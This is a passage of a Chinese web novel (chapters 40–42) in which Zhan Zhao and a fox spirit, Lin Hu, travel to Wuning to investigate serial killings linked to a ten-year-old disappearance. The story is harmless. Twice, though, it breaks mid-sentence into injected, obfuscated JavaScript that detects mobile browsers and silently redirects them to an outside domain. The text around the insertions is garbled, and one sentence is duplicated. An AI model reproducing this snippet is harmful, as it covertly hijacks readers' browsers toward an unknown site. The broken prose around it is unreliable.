窗外的桂花香飘了进来,混着屋里的墨香,像一首温柔的诗。月光爬上窗棂,照亮了桌上摊开的卷宗,也照亮了相拥的两人。明天,他们将踏上前往武宁府的路,那里有未解的凶案,有隐藏的阴谋,但此刻,他们拥有彼此,便拥有了对抗一切的勇气。 40. 情魔诡案(二) 次日清晨,汴河码头的雾气还未散尽,像笼着层薄纱。漕帮的弟兄们正忙着搬卸货物,号子声此起彼伏,混着水汽的腥气,成了清晨独有的喧闹。展昭牵着林狐的手,站在“开封府”号官船的跳板前,看着张龙赵虎把行李搬上船。 “展护卫,都准备好了!”张龙抹了把汗,指着船舱,“公孙先生特意交代,林姑娘的房间在您隔壁,铺了厚褥子,还备了暖炉。” 林狐眼睛一亮,挣脱展昭的手就往船上跑,尾巴在身后欢快地晃着:“我去看看!”她的鹅黄襦裙在雾气中像朵盛开的花,引得几个漕帮弟兄驻足观望,小声议论着“这姑娘真俊”。 展昭无奈地摇摇头,跟了上去。刚踏上甲板,就听见“咚”的一声,伴随着林狐的痛呼。他心头一紧,冲过去看,只见她正捂着额头蹲在地上,旁边是个翻倒的木箱,里面的瓷器碎了一地。 “怎么了?”他蹲下身,轻轻拨开她的手,看见她额角红了片,像抹了胭脂。 “我想看看里面是什么,”林狐委屈地瘪瘪嘴,眼泪在眼眶里打转,“没想到箱子没盖好……” 船老大闻讯赶来,看见碎瓷片,脸都白了:“这是武宁府知府托我们带给开封府的官窑瓷,怎么就……” “无妨。”展昭打断他,从袖中掏出锭银子,“这些银子够赔了,不必声张。”他低头看林狐,见她还在掉金豆豆,便伸手把她抱起来,“笨狐狸,走路都不看路。” 林狐往他怀里钻了钻,把脸埋在他的衣襟里,声音闷闷的:“我不是故意的。”她的尾巴缠上他的腰,像条认错的小蛇。他抱着她往船舱走,听见身后张龙赵虎在收拾碎片,心里却没什么怒气,只觉得她这副样子,又可气又可爱。 ***船舱里收拾得干净雅致,靠窗的位置摆着张书桌,上面放着文房四宝。林狐的房间就在隔壁,铺着她喜欢的软垫,墙角还放着个竹编的窝——是展昭特意让船工做的,方便她变回狐狸时休息。 “喜欢吗?”他问,看着她好奇地摸摸这摸摸那,像只进了新房的小猫。 “喜欢!”她扑进他怀里,在他脸上亲了一口,“展昭最好了!”她的唇带着点微凉的湿,像沾了晨露,他的脸颊瞬间热了起来。 船缓缓驶离码头,汴河两岸的景色渐渐后退。林狐趴在窗边,看着岸边的行人越来越小,突然指着远处的画舫喊:“你看!那上面有人在弹琵琶!” 展昭走过去,顺着她指的方向望去,画舫上果然有个穿红衣的女子,正拨弄着琵琶,琴声顺着风飘过来,哀婉动人。“是《春江花月夜》。”他说,指尖轻轻搭在窗沿上。 林狐却突然皱起眉,往他怀里缩了缩:“这琴声里有血腥味。”她的鼻子动了动,“很淡,像藏在糖里的毒。” 展昭的心猛地一沉。他知道林狐的嗅觉不会错,这画舫看似寻常,或许藏着不寻常的秘密。但船已驶远,再回头已是不可能。“记着就好。”他握住她的手,“到了武宁府,万事小心。” 她点点头,把脸埋在他的衣襟里,闻着他身上熟悉的皂角香,心里踏实了些。她知道,展昭总能看透那些藏在温柔表象下的凶险,有他在,再浓的血腥味,也会被他挡在外面。 ***午饭是在船上吃的,船家做了些江南小菜,清蒸鲥鱼、龙井虾仁,都带着点清甜的味道。林狐吃得不亦乐乎,尾巴在身后轻轻晃着,时不时夹起块虾仁喂给展昭,像在讨好他。 “慢点吃,没人跟你抢。”他替她擦去嘴角的酱汁,看着她鼓鼓的腮帮子,像只偷食的小松鼠。 “太好吃了!”她含糊不清地说,“比开封府的张厨子做的好吃!回去我要学做这个!” 展昭失笑,刚要说话,就听见甲板上传来争吵声。是张龙和一个船工起了争执,似乎是为了堆放行李的位置。他皱了皱眉,起身要去看看,林狐却拉住他:“我去看看!你吃饭!” 她蹦蹦跳跳地跑出去,没过一会儿,争吵声就停了。展昭好奇地走到门口,看见林狐正把自己的桂花糕分给船工,尾巴摇得像朵花,嘴里说着“别生气啦,这个给你吃,很甜的”。那船工本是满脸怒气,此刻却被她逗笑了,挠着头说“谢谢林姑娘”。 他站在门口,看着她用狐狸的方式化解矛盾,心里暖暖的。她总是这样,用最简单直白的善意,融化世间的戾气。或许,这正是他需要学习的。 ***傍晚时分,船行至一处芦苇荡,夕阳把水面染成了金红色。林狐靠在展昭怀里,看着芦苇在风中摇曳,像片金色的海洋。 “展昭,”她突然开口,声音软软的,“你说,那个‘情魔’为什么要杀人?是不是也像话本里写的那样,被人辜负了?” 展昭沉默了片刻。他查过无数案子,见过太多因情生恨的凶徒。爱之深,恨之切,有时只在一念之间。“或许吧。”他说,“但无论何种原因,杀人总是不对的。” 林狐点点头,往他怀里钻得更深了:“那我们一定要抓住他,不能再让他杀人了。”她的尾巴缠上他的手腕,像在许下承诺。 他低头吻了吻她的发顶,看着远处归巢的水鸟,心里暗暗发誓:无论此案背后藏着多少恩怨,他定要查个水落石出,不仅为了那些枉死的冤魂,更为了身边这只相信正义的小狐狸。 夜幕降临时,船停泊在一处小镇。镇上的灯火星星点点,像散落在人间的星。展昭带着林狐上岸散步,石板路被月光照得发白,踩上去像踩着层霜。 “你看!”林狐指着路边的糖画摊,眼睛亮得像星,“是兔子!我要那个!” 糖画师傅是个老者,看见他们,笑着挥了挥勺子:“姑娘好眼光,这是‘玉兔捣药’,保平安的。” 展昭买了糖画,递给林狐。她举着糖画,蹦蹦跳跳地走在前面,尾巴在月光下划出淡淡的红影。他看着她的背影,突然觉得,这世间最珍贵的,或许不是破案后的荣光,而是此刻的安稳——有她在身边,有月光,有糖画的甜,便足够了。 回到船上时,林狐已经困得睁不开眼,打了个哈欠,变回狐狸形态,蜷在他的膝头就睡着了。她的呼吸轻轻的,尾巴还圈着他的手腕,像个小小的环。 展昭坐在窗边,看着月光洒在她身上,毛茸茸的,像团暖融融的雪。他伸手顺了顺她的毛,她迷迷糊糊地蹭了蹭他的手心,发出轻微的呼噜声。 他拿起案上的卷宗,借着月光他拿起案上的卷宗,借着月光翻阅。纸页边缘有些磨损,显然武宁府的文书已反复研读多遍。第三页记载着第一名死者的身份——武宁府通判秦慕白的远房表妹,被本地盐商纳为外室,死在城南的别院。拓片上的词句是“寸寸柔肠,盈盈粉泪”,墨迹洇透了纸背,仿佛能看见死者攥紧纸片时指节的青白。 展昭的指尖在“秦慕白”三个字上停顿片刻。通判掌管刑狱诉讼,本地发生凶案,他理应是主要查办者,卷宗里却只字未提他的举措,未免太过反常。他想起包拯提过,秦慕白是前科探花,文采斐然,与武宁乡绅沈家往来甚密——沈玉薇的名字在卷宗末尾提过一笔,说是曾向官府提供过死者的社交往来记录。 “沈玉薇……”他低声念出这个名字,膝头的林狐动了动,耳朵抖了抖,似乎在梦里听见了。他轻笑一声,替她拢了拢耳边的绒毛,“睡吧,小狐狸,明天还有得忙。” 窗外的芦苇荡传来夜虫的鸣唱,混着船板轻微的吱呀声,像支温柔的催眠曲。他合起卷宗,指尖还残留着纸页的粗糙感,心里却已勾勒出查案的轮廓:先访秦慕白,探他对案件的态度;再寻沈玉薇,问清《断肠词》的来历;至于那些散落的词片,或许正是串联起十年旧案的线头。 ***天刚蒙蒙亮,船就被一阵急促的脚步声惊醒。展昭睁眼时,林狐已从他膝头跳起来,变回人形,手按在靴筒里的短刀上,耳朵警惕地竖着:“有动静。” 他按住她的手,示意她稍安勿躁,自己则悄无声息地走到门边,透过门缝往外看。只见两个穿着黑衣的汉子正鬼鬼祟祟地往货舱钻,手里拿着撬棍,动作极轻,显然是惯偷。 “是盗匪。”展昭低声说,指尖在她手心写了个“守”字。她立刻点头,尾巴在身后绷紧,像张拉满的弓。 他推开门,巨阙剑“噌”地出鞘,剑光在晨光中划出道冷弧:“光天化日,也敢在官船行窃?” 两个盗匪吓了一跳,回头看见展昭的红衣官袍,腿肚子都在转。其中一个瘦高个强作镇定,举着撬棍喊:“我们……我们只是想找点吃的!” “哦?”展昭挑眉,剑峰微微下沉,“货舱里的官银,也是你们的‘吃的’?” 盗匪脸色骤变,知道被识破,对视一眼就想跳河逃跑。林狐早有准备,身形一晃挡在船舷边,尾巴突然展开,九条红影像网似的罩过去,缠住了两人的脚踝。“哪里跑!”她喝一声,尾巴猛地一拽,两个大男人竟被拽得摔了个四脚朝天,疼得嗷嗷叫。 张龙赵虎闻声赶来,立刻将盗匪捆了个结实。瘦高个还在挣扎:“我们是被逼的!武宁府最近不太平,官府抓得紧,我们实在活不下去了……” “武宁府怎么不太平?”展昭追问,剑峰离他咽喉只有寸许。 盗匪吓得直哆嗦:“不光是‘情魔’杀人,听说……听说十年前失踪的那个书生回来了,夜里总有人看见白衣人影在沈家别院晃悠,还唱着《断肠词》……” 林狐的耳朵突然动了动,凑近盗匪闻了闻:“你说谎。你身上有秦府的檀香,和昨天画舫上的味道一样。” 盗匪脸色瞬间惨白,嘴唇哆嗦着说不出话。展昭心里一凛——这盗匪竟是秦府派来的?是想偷卷宗,还是想灭口? “把他们关起来,”展昭对张龙说,“等靠岸后交给当地官府审问。”他看了眼林狐,见她尾巴还在微微发抖,便伸手握住她的手,“没事了。” 她往他身边靠了靠,指尖冰凉:“他们想害你。”声音里带着后怕。刚才那瘦高个摔倒时,她分明看见他靴筒里藏着短刀,若非她反应快,恐怕已经刺向展昭了。 “有你在,害不了。”他揉了揉她的头发,语气轻松,心里却已警铃大作。秦慕白竟在半途派人截杀,看来此案比他想的更复杂,十年前的旧案,定藏着足以让秦慕白铤而走险的秘密。 ***船行至午时,终于抵达武宁府码头。码头上的官差早已等候多时,为首的是个留着山羊胡的中年人,穿着从六品的官服,见了展昭立刻躬身行礼:“下官武宁府推官李修,见过展护卫。” “李大人客气。”展昭回礼,目光扫过他身后的差役,个个神色紧张,像是藏着心事。 “府衙已备下薄宴,”李修笑得有些勉强,“展护卫一路辛苦,先歇息片刻?” “不必了。”展昭摇头,“先去看看第四名死者的案发现场。”他注意到李修听到“第四名死者”时,眼角抽了抽,显然有话想说。 林狐突然拽了拽他的衣袖,低声说:“他身上有血腥味,和卷宗里的死者一样,混着冷梅香。” 展昭的目光沉了沉。李修是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268132|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刑狱官员,身上有血腥味不奇怪,但混着冷梅香就耐人寻味了——这香味他在开封府闻过,是沈玉薇送来的梅花糕上带的,据说只有沈家别院的梅园才有。 “有劳李大人带路。”展昭不动声色,任由李修在前引路,林狐的尾巴却悄悄缠上他的手腕,传递着无声的警惕。 武宁府的街道比汴京更雅致,青石板路铺得平整,两侧是白墙黑瓦的宅院,墙头探出几枝桂花,香气袭人。街上的行人却不多,偶尔走过几个,也都是神色匆匆,看见官差就绕道走,显然被“情魔”案闹得人心惶惶。 “展护卫有所不知,”李修边走边叹,“这‘情魔’案闹得满城风雨,百姓夜里都不敢出门。前三日死的是盐商外室、粮商小妾、还有个戏班班主的相好,都是没名没分的女子,手里都攥着那半首词……” “第四名死者呢?”展昭打断他。 李修的脚步顿了顿,声音压低了些:“是……是知县大人的宠妾,死在城外的别业,今早刚发现的。手里的词片,是最后半阕。” 林狐突然停下脚步,鼻尖朝着街角的茶馆颤了颤:“那里有顾云舟的味道。”她记得抄本上的字迹,带着点松烟墨的清苦,此刻从茶馆里飘出来的,正是这种味道,还混着淡淡的酒气。 展昭顺着她的目光望去,茶馆里靠窗坐着个穿青布衫的女子,正低头喝茶,身形单薄,侧脸带着股倔强。她的桌上放着本《断肠词》,书页翻开着,正是那首完整的“平芜尽处是春山”。 “那是谁?”展昭问李修。 李修看了一眼,脸色微变:“是……是顾云舟的妹妹,顾云舒。她前日刚从江南来,说是要找兄长,天天在城里转悠,逢人就问十年前的事。” 顾云舒像是察觉到他们的目光,抬起头,目光直直地看向展昭,带着探究和警惕,像只受惊却不肯退缩的幼鹿。 林狐的尾巴缠得更紧了,在他手心轻轻划了个“险”字。他明白她的意思——这个顾云舒,绝不像表面看起来那么简单。 ***知县别业在城外的竹林边,白墙围着个小院,门口守着两个差役,脸色凝重。推开院门时,一股血腥味混着桂花香扑面而来,林狐下意识往展昭怀里钻了钻,却还是强忍着不适,跟着他往里走。 正屋的地上铺着白布,下面是死者的身形轮廓。展昭蹲下身,仔细查看地上的血迹,呈喷溅状,说明是一击毙命,凶手手法利落,显然练过武功。桌角的胭脂盒倒在地上,螺子黛撒了一地,旁边放着半块桂花糕,还很新鲜,像是死前刚吃过。 “死者是寅时左右遇害的。”展昭指着烛台上的烛泪,“烛火燃了一半,说明她是在等什么人。” 林狐突然趴在地上,鼻尖贴着地砖嗅了嗅,从墙角拖出一根丝线,银闪闪的,像是从衣服上勾下来的。“这是秦府的银丝绣线,”她认得,秦慕白的官服上就有这种绣线,“他来过。” 展昭接过丝线,放在指尖捻了捻,质地细腻,确是上等货色,寻常百姓用不起。“李大人,秦通判昨晚在哪?” 李修眼神闪烁:“秦大人……昨晚在府衙处理公文,有下属可以作证。” “是吗?”展昭挑眉,目光扫过窗台上的冷梅香熏,里面的香灰还是热的,“那这香,是谁点的?” 李修的脸瞬间白了,张了张嘴,却说不出话来。 林狐突然跳上窗台,爪子指着窗外的竹林:“那边有打斗的痕迹,还有……白五爷的味道?”她愣了愣,仔细嗅了嗅,“不对,是类似的剑气,很烈,像要把人劈开。” 展昭心头一震,冲出房门往竹林跑。林狐紧随其后,看见地上有几道深深的剑痕,入木三分,绝非寻常剑客能留下。剑痕旁边还有几滴血迹,已经发黑,混着泥土的腥气。 “是秦慕白的剑。”展昭肯定地说,“他的佩剑是柄‘青锋’,剑刃极薄,劈砍时会留下这种锯齿状的痕迹。”他蹲下身,用指尖沾起一点血迹,放在鼻尖闻了闻,“是人血,还有……狐狸的血?” 林狐的尾巴猛地竖起来,凑近血迹嗅了嗅,脸色瞬间变了:“是青丘的味道!十年前,有狐族来过这里!” 展昭的心跳漏了一拍。十年前的顾云舟失踪案,竟还牵扯着青丘?林狐的族人为何会出现在武宁府?难道顾云舟的失踪,与狐族有关? 他回头看向别业,李修正站在门口瑟瑟发抖,像被抽走了骨头。阳光穿过竹林,在地上投下斑驳的光影,像撒了一地碎银,却照不亮这案子背后的层层迷雾。 “展昭,”林狐走到他身边,声音有些发颤,“我怕。”她不怕凶手,不怕打斗,却怕这案子牵扯出青丘的秘密,怕那些尘封的往事会伤害到他。 他握住她的手,掌心的温度透过指尖传过去:“别怕,有我在。”无论这迷雾里藏着什么——是十年前的旧情,是官场的阴谋,还是青丘的秘密,他都会陪着她,一点一点揭开。 竹林深处传来风吹竹叶的沙沙声,像有人在低声诉说着被遗忘的往事。展昭看着林狐担忧的眼睛,突然觉得,这趟武宁府之行,或许不只是为了查案,更是为了守护——守护她,守护那些被时光掩埋的真相,守护他们之间来之不易的温暖。 他低头,在她额头轻轻一吻,像落下一片羽毛:“走吧,我们去会会那个秦慕白。” 林狐点点头,尾巴紧紧缠着他的手腕,像系上了一道永不松开的结。阳光穿过她的绒毛,在他手背上投下细碎的光斑,暖得像她的体温,也像他们共同面对一切的勇气。 41. 情魔诡案(三) 武宁府的晨雾带着江南特有的黏腻。青石板路被露水浸得发亮,倒映着两旁白墙黑瓦的飞檐,像幅被打湿的水墨画。展昭勒住缰绳时,枣红马的蹄铁在石板上蹭出细碎的火星,惊飞了檐角栖息的灰鸽,翅膀扑棱声划破了清晨的静谧。 “到了。”他翻身下马,指尖刚触到鞍鞯,就被一团温热的软物蹭了蹭手背。林狐不知何时从行囊里钻了出来,变回狐狸形态蹲在马背上,尾巴卷着他的发带晃悠,鼻尖沾着点草屑——定是趁他不注意在官道旁打滚了。 “安分点。”他屈指敲了敲她的鼻尖,指尖沾到点晨露的凉。她却顺势用脑袋蹭他的掌心,绒毛扫过皮肤时发痒,像有细小的电流窜过。这小动作是她独有的撒娇方式,从在开封府第一次见面起就没改过,明明是只修行百年的狐,偏生爱做些小猫似的亲昵举动。 “展护卫!”码头官吏早已候着,见了展昭立刻躬身行礼,腰间的铜牌在雾中闪着光,“武宁府衙已备下马车,李推官正在别院候着。” 展昭颔首,目光扫过官吏身后的随从——那人低着头,帽檐压得极低,袖口却露出半块绣着寒梅的锦帕,与沈玉薇府里的侍女装束一般无二。他不动声色地接过通关文牒,指尖在“武宁府”三个字上稍作停顿:“第四位死者的身份,查清了?” “是知县大人的宠妾苏氏,”官吏回话时喉结动了动,“昨夜亥时被发现死于城外‘听竹别业’,手里攥着的词片,与前三案分毫不差。” 林狐突然从他肩头跳下来,往别业方向跑了几步,尾巴绷得笔直。“这里有血味,”她回头喊,鼻尖在雾中轻轻颤动,“还有……冷梅香,和沈玉薇院里的一样浓。” 展昭心头一紧。前三案的卷宗里从未提过冷梅香,这气味若真是沈府独有,沈玉薇的嫌疑便再难脱开。他快步跟上林狐,靴底踩过水洼时溅起细珠,打湿了衣摆也浑然不觉——查案这些年,他最信的除了手中剑,便是她这双能辨百种气息的狐鼻,当年汴河沉船案,正是她闻出了船板缝隙里的火药味,才破了那桩官匪勾结的大案。 ***听竹别业的朱漆大门虚掩着,铜环上挂着的锁被人用蛮力撬开,锁芯处留着清晰的刀痕。展昭推开门时,门轴发出“吱呀”的哀鸣,惊得院角的竹丛簌簌作响,落下几片带露的叶子,打在青石板上洇出浅痕。 “展护卫来了。”李修从正屋迎出来,青色官袍的下摆沾着泥,显然是刚从竹林里回来。他手里攥着块白布,上面沾着暗红的血迹,看见林狐时愣了愣,目光在她身后的尾巴上停了瞬,才想起开封府有位特殊的“狐仙助手”,忙拱手道:“林姑娘也来了。” 林狐没理他,径直往院角跑。那里的石凳翻倒着,凳脚沾着几缕暗红丝线,正是苏氏常穿的石榴红裙料。她蹲下身,用爪子轻轻拨开碎石,露出下面半枚断裂的银簪,簪头嵌着的红宝石在雾中闪着光,像滴凝固的血。 “死者挣扎过。”展昭蹲在她身边,指尖拂过石凳上的抓痕,“凶手是熟人,否则苏氏不会在亥时仍让外人进别业。”他看向李修,“苏氏的身份背景,查得如何?” 李修从袖中掏出卷宗,手指在纸面划过:“苏氏原是秦通判府里的侍女,三年前被知县赎身纳为外室,性子孤僻,平日里除了去城西的‘锦绣阁’做衣裳,极少与人往来。” “锦绣阁?”林狐突然抬头,耳朵抖了抖,“沈玉薇常去那家店,我上次随你拜访时,看见她家侍女提着锦绣阁的包裹。” 展昭的目光沉了沉。秦慕白的前侍女、沈玉薇常去的衣铺、现场残留的冷梅香……这三者像被无形的线串在一起,而线头,似乎都系在十年前失踪的顾云舟身上。他想起卷宗里的记载:顾云舟当年正是因“偷盗沈府财物”被秦慕白弹劾,才被逐出武宁府,而那所谓的“赃物”,恰是一支嵌红宝石的银簪,与眼前这枚断裂的簪子款式惊人地相似。 “李大人,”展昭站起身,巨阙剑的剑穗在晨风中轻晃,“烦请带我去见沈玉薇。” 李修的脸色白了白,像被雾打湿的纸:“这……按规矩,未时后才能拜访乡绅家眷……” “规矩?”展昭的声音冷了几分,目光扫过地上的血迹,“死者尸骨未寒,哪来那么多规矩?” 李修被他看得一哆嗦,忙点头应道:“是是是,下官这就备车。”转身时,袖口的玉佩撞在腰间的玉带钩上,发出清脆的响,那玉佩的样式,竟与秦慕白常戴的白玉佩一模一样。 林狐突然往展昭怀里钻了钻,用尾巴圈住他的手腕,低声说:“他说谎,他今早见过沈玉薇,身上有她的胭脂味,混着酒气。” 展昭握住她的手,指尖传来她掌心的微汗。这武宁府的水,比他想象中更深。一个推官,为何要替乡绅隐瞒行踪?秦慕白与沈玉薇之间,到底藏着怎样的牵扯? ***沈府的门环是黄铜所制,被人摩挲得发亮,门楣上的“沈府”二字透着股旧气,漆皮剥落处露出底下的暗红,像干涸的血迹。管家通报时,林狐趴在展昭肩头,看见影壁后闪过一抹水红身影,裙角绣着的寒梅与沈玉薇昨日穿的那件一模一样。 “展护卫大驾光临,妾身有失远迎。”沈玉薇从正厅走出,月白襦裙外罩着件银狐坎肩,衬得她肤色愈发苍白。她的发髻梳得一丝不苟,却在耳后别着朵新鲜的白梅,花瓣上还沾着晨露——这节气哪来的白梅?定是暖房里催开的,寻常人家哪有这般财力。 “冒昧拜访,是为别业凶案。”展昭开门见山,目光落在她腕间的银镯上,那镯子的花纹与苏氏断裂的银簪如出一辙,“沈小姐可知,死者苏氏原是秦通判的侍女?” 沈玉薇的手指在茶盏边缘顿了顿,青瓷盖碗与杯托相撞,发出极轻的脆响。“略有耳闻,”她垂眸时睫毛在眼下投出浅影,“秦郎……秦通判府里的旧人,妾身怎会认得。” “可别业里,有沈府的冷梅香。”林狐突然开口,尾巴尖扫过桌角的梅瓶,“和你这朵花的味道一样,只是更浓,像……被血泡过。” 沈玉薇的脸色瞬间褪尽血色,猛地抬头看林狐,眼神里闪过一丝慌乱,快得像错觉。“林姑娘说笑了,”她强作镇定地端起茶盏,“冷梅香是妾身闺中常用的,武宁府不少人家都有,怎就成了沈府独有?” 展昭注意到她喝茶时左手小指在微微颤抖,那是极力克制情绪的模样。他起身拱手:“打扰沈小姐了。告辞前,能否借一本《断肠词》一观?听闻沈府藏书颇丰。” 沈玉薇的喉结动了动,终是点头:“管家,去取我书房那本抄本。” 管家很快取来书,蓝布封皮,纸页 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268133|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泛黄。展昭翻开扉页时,林狐突然凑近,尾巴尖在“顾云舟”三个字上轻轻一点:“是他的字!和别业找到的银簪内侧刻的一样!” 沈玉薇猛地站起,椅腿与地面摩擦发出刺耳的声响:“你怎么会……”话说一半又咽了回去,手指紧紧攥着帕子,指节泛白如骨。 展昭合上书,目光如剑:“顾云舟失踪前,曾赠过沈小姐这册抄本?” “是又如何?”沈玉薇的声音突然发颤,眼眶泛起红,“十年前的旧事了,与如今的凶案有何干系?展护卫若要查案,不如去问问秦慕白,当年是谁把云舟诬陷成盗匪,是谁逼得他走投无路!” 她的声音陡然拔高,震得窗棂上的冰花簌簌落下,在暖阳中融成细珠,像行无声的泪。 林狐往展昭身后缩了缩,尾巴轻轻勾住他的衣袖。她能闻出沈玉薇此刻的情绪——愤怒里裹着悲伤,像被寒冰冻住的火焰,明明烧得炽热,偏生要装作冰冷。这不是凶手该有的气息,倒像是……藏着太多委屈的故人。 ***离开沈府时,日头已升高,雾气散了大半。马车行过青石板路时,车轮碾过昨夜的雨洼,溅起的水珠打在车帘上,发出细碎的响。 “她没说谎。”林狐蜷在展昭膝头,变回人形时发丝有些乱,“她身上的味道很杂,有恨,有怕,还有……很浓的思念,像陈年老酒,藏了十年的那种。” 展昭摩挲着那册《断肠词》,纸页边缘有明显的磨损,显然是常被人翻阅。顾云舟的字迹清俊,却在“行人更在春山外”一句旁用力划过,墨痕透了纸背,像道未愈合的伤疤。“十年前的案子,定有隐情。”他低声道,“秦慕白诬陷顾云舟偷盗,沈玉薇却藏着他的抄本,这两人之间,绝非简单的旧识。” 林狐突然坐直身子,往车窗外看:“有人跟着我们。”她指着街角的茶摊,“那个穿灰衣的,腰间别着秦府的令牌,从沈府出来就一直跟着。” 展昭掀开车帘一角,果然看见个灰衣汉子正低头喝茶,眼角的余光却频频往马车这边瞟。他冷笑一声,将《断肠词》塞进怀中:“看来秦通判,比我们更急着知道沈玉薇说了什么。” 马车行至驿站时,林狐突然拽住他的衣袖:“今晚去沈府偷抄本!”她眼睛亮晶晶的,像藏着星,“白天人多眼杂,夜里我变作狐狸,定能找到更多线索,说不定还有顾云舟的东西!” 展昭刚要拒绝,就见她往自己怀里钻,鼻尖蹭过他的锁骨,带着点撒娇的意味:“去嘛去嘛,我保证不闯祸,就看看,找不到就回来。”她的尾巴在身后轻轻晃着,扫过他的手背,毛茸茸的,像在挠他的心。 他最抵不住她这副样子。从在开封府第一次见面起,她就总用这招对付他,明明知道是故意的,却偏生狠不下心拒绝。“罢了,”他屈指敲她的额头,“但得听我吩咐,不许擅自行动。” 林狐立刻笑起来,在他脸上亲了一口,像只偷到糖的小狐狸:“就知道你最好!” 夕阳把驿站的影子拉得很长,檐角的铜铃在晚风中轻响,像在数着即将到来的夜色。展昭看着林狐欢快的背影,突然觉得这武宁府的凶险,因她的存在,竟也生出几分期待。他知道今夜的沈府定不平静,但只要身边有这只摇着尾巴的狐,哪怕前路是刀山火海,他也甘愿闯一闯。 42. 情魔诡案(四) 武宁府的夜来得比汴京早。刚过酉时,暮色就像浸了墨的棉絮,一点点晕染开来,将白墙黑瓦的宅院染成浓淡不一的剪影。驿站的灯笼刚点上,林狐就已经换好了夜行衣,黑色的布料勾勒出纤细的身形,只有尾巴露在外面,像团跳动的火焰。 “准备好了吗?”她蹲在窗台上,往展昭的方向晃了晃爪子,指尖戴着他给的银指环——那是用巨阙剑的边角料打的,能避邪,更能在危急时发出轻响示警。 展昭正检查剑鞘,闻言抬头,月光恰好落在她脸上,睫毛投下淡淡的阴影,像蝶翼停驻。“记住路线,”他叮嘱道,将一张沈府的舆图塞进她手里,“后院梅园的西侧有口枯井,若被发现就往那里跑,我在井外候着。” “知道啦。”林狐接过舆图,却突然凑过来,在他唇上飞快地亲了一下,像偷啄米粒的雀,“这是护身符,上次你去陷空岛,我亲了一下,你就平安回来了。” 展昭的耳尖瞬间热了。这狐总是这样,不分场合地说些亲昵话,明明是修行百年的妖,偏生在情事上像个不谙世事的小姑娘。他伸手将她额前的碎发别到耳后,指尖触到她耳尖的绒毛,软得像团云:“别胡闹,快去快回。” 她嘻嘻笑着跳下楼,身形在夜色中化作一道红影,很快消失在巷口。展昭望着她的去向,手不自觉地按在剑柄上——沈府的护卫都是秦慕白的心腹,个个是江湖出身,他实在不放心让她独自潜入。但他更清楚,林狐虽爱撒娇,查案时却从不含糊,当年独闯节度使府盗取密信,比他这御前护卫还要利落三分。 ***沈府的围墙爬满了爬山虎,墨绿色的叶子在月光下泛着油光。林狐轻巧地落在墙头,尾巴扫过一片枯叶,发出极轻的声响。她屏住呼吸,听见前院传来护卫巡逻的脚步声,“咚、咚”踩在青石板上,与更夫的梆子声遥相呼应。 “沈府的护卫比三年前多了一倍。”她心里嘀咕,顺着墙沿往后院爬。三年前随展昭来武宁府参加赏花宴,她曾偷偷溜进沈府的梅园,那时的护卫稀稀拉拉,连条像样的狗都没有,哪像现在,连廊下都挂着铃铛,稍有动静便会惊动四方。 后院的梅园果然如舆图所示,只是梅树都被修剪过,枝桠齐齐地伸向夜空,像无数只伸向月亮的手。林狐落在一棵老梅树下,鼻尖在泥土里嗅了嗅——这里有新翻的土味,混着淡淡的血腥味,像有人在这里埋过什么带血的东西。 她变作狐狸形态,往书房的方向跑。黑色夜行衣在她变身时化作轻烟,露出火红色的皮毛,在月光下像流动的岩浆。这是她的保命绝技,寻常修士需念口诀才能变身,她却能在眨眼间完成,当年在冲霄楼,正是靠着这招躲过了白玉堂的迷踪步。 书房的窗纸透着暖黄的光,里面传来翻动书页的声音。林狐趴在窗台下,用爪子轻轻拨开一条缝隙——沈玉薇正坐在案前,手里拿着的正是白日里那册《断肠词》,指尖在“顾云舟”三个字上反复摩挲,泪水落在纸页上,晕开一小片墨痕。 “云舟……”她听见沈玉薇低声呢喃,声音轻得像叹息,“十年了,你到底在哪?” 林狐的耳朵动了动。案下的暗格没有上锁,缝隙里透出书册的气息,正是《断肠词》的味道,却比沈玉薇手里的那本更浓,像是被人经常翻阅。她屏住呼吸,等沈玉薇吹熄烛火离开后,才轻巧地跳上窗台,爪子在暗格的锁扣上拨了两下——这锁是汴京“巧匠张”的手艺,三年前她曾帮公孙策开过同款,诀窍在于用细针顶住锁芯里的第三根铜柱。 “咔哒”一声轻响,暗格开了。里面果然放着几本抄本,最上面的那本封皮已经磨破,扉页的“顾云舟”三个字旁边,多了行娟秀的小字:“玉薇藏于庚子年冬”。 “庚子年,正是顾云舟失踪的那年。”林狐心里一动,刚要把抄本叼出来,却听见院外传来脚步声,带着金属碰撞的脆响——是秦府的护卫! 她迅速将抄本塞进怀里,变作人形时顺手往暗格里丢了颗石子。这是她和展昭约定的暗号,石子落地的声响能引开护卫的注意,当年在敦煌查佛骨失窃案时用过,百试百灵。 “谁在里面?”护卫的声音在院外响起,脚步声越来越近。林狐纵身跳上房梁,屏住呼吸看着房门被推开,几个黑衣汉子举着火把冲进来,火把的光在暗格处晃了晃,果然被那颗石子吸引了注意力。 “是颗石子,”一个护卫用刀挑起石子,皱眉道,“许是野猫碰掉的。” “仔细搜!秦大人说了,今晚沈府定有异动。”领头的护卫声音粗哑,火把在书架上扫过,照亮一排排泛黄的书卷,“尤其是书房,别放过任何角落!” 